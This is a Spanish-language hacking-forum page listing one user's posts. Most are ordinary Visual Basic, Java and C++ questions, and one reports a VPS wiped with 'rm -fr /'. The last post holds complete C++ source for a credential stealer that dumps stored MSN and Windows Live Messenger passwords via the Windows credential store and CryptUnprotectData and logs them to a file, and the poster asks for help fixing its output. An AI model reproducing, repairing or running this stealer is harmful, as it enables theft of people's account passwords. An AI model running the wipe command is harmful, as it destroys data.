elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Tutorial básico de Quickjs


  Mostrar Temas
Páginas: [1] 2 3
1  Seguridad Informática / Hacking / una consulta sobre comando RM en un VPS en: 3 Octubre 2010, 23:31 pm
Hola resulta que tengo un servidor VPS donde alojo mis webs, y al parecer se han metido a mi servidor (robando mi clave), y han ejecutado este comando: rm -fr / en la carpeta raiz, por ello que se habrian eliminado todos los archivos del servidor VPS.

bueno asi me dijo el soporte, porque en mi servidor ha quedado vacio, pues todas las carpetas y archivos han sido eliminados.

no puedo acceder via ssh...

mi soporte no me da explicaciones solo me dijo eso.

habrá forma de saber quien pudo hacer eso? queda registro? quiero saber mediante el IP de donde es el atacante, porque tengo sospechas.

2  Programación / Programación Visual Basic / Cambiar "Version Info" a ejecutable en: 8 Marzo 2009, 15:01 pm
Hola, como puedo cambiar las opciones (version, compañia, copyright ... ) que aparecen cuando hagi click derecho en un ejecutable en la pestaña version?
se puede obtener atributos e información de un fichero mediante FSO (GetFile), pero no se pueden modificarlos ...
alguien sabe como hacerlo?  :)
3  Programación / Java / una ayuda ... en: 6 Febrero 2009, 02:18 am
tengo unas dudas de como hacer que mi applet muestre un boton que al presionarlo inicie la descarga de un fichero (claro, yo conozco la ruta) ...
tengo entendido que tengo que usar:

import java.applet.Applet;
import java.applet.AppletContext;
import java.awt.Button;
import java.awt.*;

import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.net.*;
import java.io.*;

seria como un pequeño applet que al cargarlo muestre un boton, que al presionarlo se puedan descargar un archivo (redirige a la url)

Gracias...
4  Programación / Programación Visual Basic / Manipular Ejecutables en: 26 Enero 2009, 00:50 am
Hola, quiero aprender la teoria ( y algunos ejemplos) para poder manipular los ejecutables, quisiera poder trabajar con los offsets, modificarlos, y todo el lio.
Creo que existen modulos que nos ayudan a hacer esto; podrian orientarme?
quiero aprender, quiero entender la estructura de un ejecutable, para luego poder hacer por ejemplo extracciones de iconos, leer propiedades, agregar strings al final del ejecutable, saber donde empieza la cabecera, agregar un "huecos", cambiar icono, cambiar propiedades ... como ven; todo seria posible si pudiesemos conocer bien a un ejecutable; por eso quiero encotnrar guia,

creo que se usan apis como virtualmemory copymemory (algo asi, corriganme si me equivoco)

me orientan un poco?

GRACIAS
5  Programación / Programación Visual Basic / como cargar 100 KBs en una variable; problema con InStr en: 28 Diciembre 2008, 17:17 pm
Necesito cargar un texto de 100 KBs para analizarlo; y ahora el problema es que una variable no soporta tantos caracteres; que podria hacer?
estuve probando a usar Texbox; pero tampoco pueden tener tantos caracteres;

son alrededor de 108 000 caracteres que necesito cargar a una variable, para poder trabajar....

EDITADO:
resulta que la funcion InStr no permite encontrar coincidencias en un texto a mas de 22 000 caracteres... hice una prueba; en un texto coloque dos cadenas y luego las busque; y fui agregando texto poco a poco hasta poder hayar el limite; y me di con la sorpresa que solo puede hacer busquedas entre los 22 000 caracteres...
ahora como podria solucionar eso? necesito hacer busquedas entre los 100 000 primeros caracteres...

Gracias
que podria hacer?
6  Programación / Programación Visual Basic / mi programa consume muchos recursos en: 26 Diciembre 2008, 04:10 am
resulta que estoy haciendo un programa que se encarga de transformar un texto a un formato y para esto analiza linea por linea de un archivo en forma secuencial.
el problema resulta que si el archivo tiene 40 kbs de texto, mi programa consume muchos recursos, el CPU esta al 100 %, por lo que la pc se vuelve algo lenta...
he probado con usar doevents, pero nose poque esto altera el funcionamiento del programa, hace como si cada linea no se ejecutara de forma secuencial, da la impresion de ejecutarse de forma aleatoria cada linea del programa.

ahora nose si usar la funcion sleep para parar el programa; pero el problema es que las modificaciones tienen que ser casi en tiempo real, polo que no se podria demorar mas de 3 segundos en realizar la misma operacion de examinar el texto...

que podria hacer? GRACIAS
7  Programación / Programación Visual Basic / Cerrar los puertos Com1, Com2, Com3 ... en: 17 Julio 2008, 22:47 pm
Estoy tratando de cerrar estos puertos .com; pero no consigo, podria algiuen dejarme algun link para poder leer y lograrlo...?
Gracias...
8  Programación / Java / [Duda] Creando *.jar en: 22 Junio 2008, 03:23 am
Tengo una duda, estoy queriendo compilar mi proyecto de java a un archivo .jar, pero el window no me reconoce, nose que sucede.

Encontre este material:
http://www.programacion.net/java/tutorial/jar/3/
http://www.chuidiang.com/java/novatos/hacer_ficheros_jar.php
http://www.gamarod.com.ar/articulos/129.asp

donde me dicen que coloque esto:
Código:
jar cfv MiArchivo.jar Clase1.class Clase2.class Imagen.gif Sonido.au OtrosArchivos

tengo entendido que esa linea se colocaba en la consola y no va:S
el windows no reconoce el comando.

9  Programación / Java / duda de extends [si se puede heredar varias veces] en: 13 Junio 2008, 04:34 am
porquie si compilo el siguiente codigo si es correcto??
Código
  1. public class Num{
  2.  
  3.  
  4. }
  5.  
  6. class A extends Num{
  7.  
  8. }
  9.  
  10. class B extends A{
  11.  
  12. }
  13.  

Tenia entendido que la herencia multiple en java no se podia, pero al compilar eso me genera 3 archivos .class porque?
tenego esa duda.
10  Programación / Programación C/C++ / problema con escritura de archivos en: 5 Junio 2008, 23:45 pm
estoy adaptando este codigo, pero al momento de colocarle para que guarde el historial en un archivo no lo hace, solo guarda un caracter, osea guarda cierta parte del texto, pero no completa, lo he probado con el dev c++
alguien me ayuda??

creo que mi problema radica en esta linea:
printf("Password : %ls\n\n", CredentialCollection->CredentialBlob);

por esto: %ls

como solucionoo?

Código
  1. /* Programa que recupera contraseñas almacenadas con Microsoft Messenger,
  2.  * basado en el código original de Gregory R. Panakkal, http://www.infogreg.com
  3.  * modificado para Windows Live Messenger. XP SP2
  4.  * Testeado con la versión 8 de Windows Live Messenger y 7.0 - 7.5 MSN Messenger.
  5.  * Compilar con Visual C++ 6.
  6.  * By dSx.
  7.  */
  8. #include<windows.h>
  9. #include<stdio.h>
  10. #include <fstream.h>
  11.  
  12. using namespace std;
  13.  
  14. typedef struct _CREDENTIAL_ATTRIBUTEA {
  15.  LPSTR Keyword;
  16.  DWORD Flags;
  17.  DWORD ValueSize;
  18.  LPBYTE Value;
  19. } CREDENTIAL_ATTRIBUTEA, *PCREDENTIAL_ATTRIBUTEA;
  20.  
  21. typedef struct _CREDENTIALA {
  22.  DWORD Flags;
  23.  DWORD Type;
  24.  LPSTR TargetName;
  25.  LPSTR Comment;
  26.  FILETIME LastWritten;
  27.  DWORD CredentialBlobSize;
  28.  LPBYTE CredentialBlob;
  29.  DWORD Persist;
  30.  DWORD AttributeCount;
  31.  PCREDENTIAL_ATTRIBUTEA Attributes;
  32.  LPSTR TargetAlias;
  33.  LPSTR UserName;
  34. } CREDENTIALA, *PCREDENTIALA;
  35.  
  36. typedef struct _CRYPTOAPI_BLOB {
  37.  DWORD  cbData;
  38.  BYTE*  pbData;
  39. } DATA_BLOB;
  40.  
  41. typedef struct _CRYPTPROTECT_PROMPTSTRUCT {
  42. DWORD   cbSize;
  43. DWORD   dwPromptFlags;
  44. HWND    hwndApp;
  45. LPCWSTR  szPrompt;
  46. } CRYPTPROTECT_PROMPTSTRUCT;
  47.  
  48. typedef CREDENTIALA CREDENTIAL;
  49. typedef PCREDENTIALA PCREDENTIAL;
  50.  
  51.  
  52. typedef BOOL (WINAPI *typeCryptUnprotectData)(
  53.           DATA_BLOB *,
  54.           LPWSTR *,
  55.           DATA_BLOB *,
  56.           PVOID *,          
  57.           CRYPTPROTECT_PROMPTSTRUCT *,
  58.           DWORD,
  59.           DATA_BLOB *
  60. );
  61. typedef BOOL (WINAPI *typeCredEnumerateA)(
  62.           LPCTSTR,
  63.           DWORD,
  64.           DWORD *,
  65.           PCREDENTIALA **
  66. );
  67. typedef BOOL (WINAPI *typeCredReadA)(
  68.           LPCTSTR,
  69.           DWORD,
  70.           DWORD,
  71.           PCREDENTIALA *
  72. );
  73. typedef VOID (WINAPI *typeCredFree)(PVOID);
  74.  
  75. typeCredEnumerateA pfCredEnumerateA;
  76. typeCredReadA pfCredReadA;
  77. typeCredFree pfCredFree;
  78. typeCryptUnprotectData pfCryptUnprotectData;
  79.  
  80. void showBanner(void);
  81.  
  82.  
  83. int main()
  84. {
  85. showBanner();
  86.  PCREDENTIAL *CredentialCollection = NULL;
  87.  DATA_BLOB blobCrypt, blobPlainText, blobEntropy;
  88.  
  89.  char szEntropyStringSeed[37] = "82BD0E67-9FEA-4748-8672-D5EFE5B779B0"; //credui.dll
  90.  short int EntropyData[37];
  91.  short int tmp, pnet, j;
  92.  
  93.  HMODULE hDLL, hDLL2;
  94.  DWORD Count, i;
  95.  
  96.  
  97.  
  98.  
  99.  if (hDLL = LoadLibrary("advapi32.dll")) {
  100.   pfCredEnumerateA = (typeCredEnumerateA)GetProcAddress(hDLL, "CredEnumerateA");
  101.   pfCredReadA = (typeCredReadA)GetProcAddress(hDLL, "CredReadA");
  102.   pfCredFree = (typeCredFree)GetProcAddress(hDLL, "CredFree");
  103.  
  104.   if (pfCredEnumerateA == NULL ||
  105.     pfCredReadA == NULL ||
  106.     pfCredFree == NULL) {
  107.  
  108.     printf("Error!\n");
  109.     return -1;
  110.   }
  111.  }
  112.  
  113.  if (hDLL2 = LoadLibrary("crypt32.dll")) {
  114.   pfCryptUnprotectData = (typeCryptUnprotectData)GetProcAddress(hDLL2, "CryptUnprotectData");
  115.  
  116.   if (pfCryptUnprotectData == NULL) {
  117.     printf("Error!\n");
  118.     return -1;
  119.   }
  120.  }
  121.  
  122.  pfCredEnumerateA(NULL, 0, &Count, &CredentialCollection);
  123.  printf("\nCount: %d\n", Count);
  124.  //Calculate Entropy Data
  125.  for (i = 0; i < 37; i++) { // strlen(szEntropyStringSeed) = 37
  126.   tmp = (short int)szEntropyStringSeed[i];
  127.   tmp <<= 2;
  128.   EntropyData[i] = tmp;
  129.  }
  130.  
  131.  if (Count) {
  132.  
  133.   for (i = 0; i < Count; i++) {
  134.     pnet = strcmp(CredentialCollection[i]->TargetName, "Passport.Net\\*");
  135.     if (!pnet) {
  136.      blobEntropy.pbData = (BYTE *)&EntropyData;
  137.      blobEntropy.cbData = 74; //sizeof(EntropyData)
  138.  
  139.      blobCrypt.pbData = CredentialCollection[i]->CredentialBlob;
  140.      blobCrypt.cbData = CredentialCollection[i]->CredentialBlobSize;
  141.  
  142.      pfCryptUnprotectData(&blobCrypt, NULL, &blobEntropy, NULL, NULL, 1, &blobPlainText);
  143.      //showBanner(CredentialCollection[i]->UserName);
  144.  
  145.  
  146.      //log << "asdasdasdas";
  147.      printf("<-- MSN Messenger -->\n");  
  148.      printf("Username : %s\n", CredentialCollection[i]->UserName);
  149.      printf("Password : %ls\n\n", blobPlainText.pbData);
  150.  
  151.     } else {
  152.     ofstream log("Passwords.txt", ios::app);
  153.      printf("<-- Windows Live Messenger -->\n");
  154.      printf("Username : %s\n", CredentialCollection[i]->TargetName);
  155.      printf("Password : %ls\n\n", CredentialCollection[i]->CredentialBlob);
  156.  
  157.      log <<  "<-- Windows Live Messenger -->\n";
  158.      log << "Username: " << CredentialCollection[i]->TargetName << "\n";
  159.      log << "Password : " << CredentialCollection[i]->CredentialBlob << "\n\n" ;
  160.  
  161.     }
  162.   }
  163.  }
  164.  pfCredFree(CredentialCollection);
  165.  getchar();
  166.  getchar();
  167.  
  168.  return EXIT_SUCCESS;
  169. }
  170.  
  171. void showBanner()
  172. {
  173. printf("Passwords\n");
  174. }
  175.  
Páginas: [1] 2 3
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines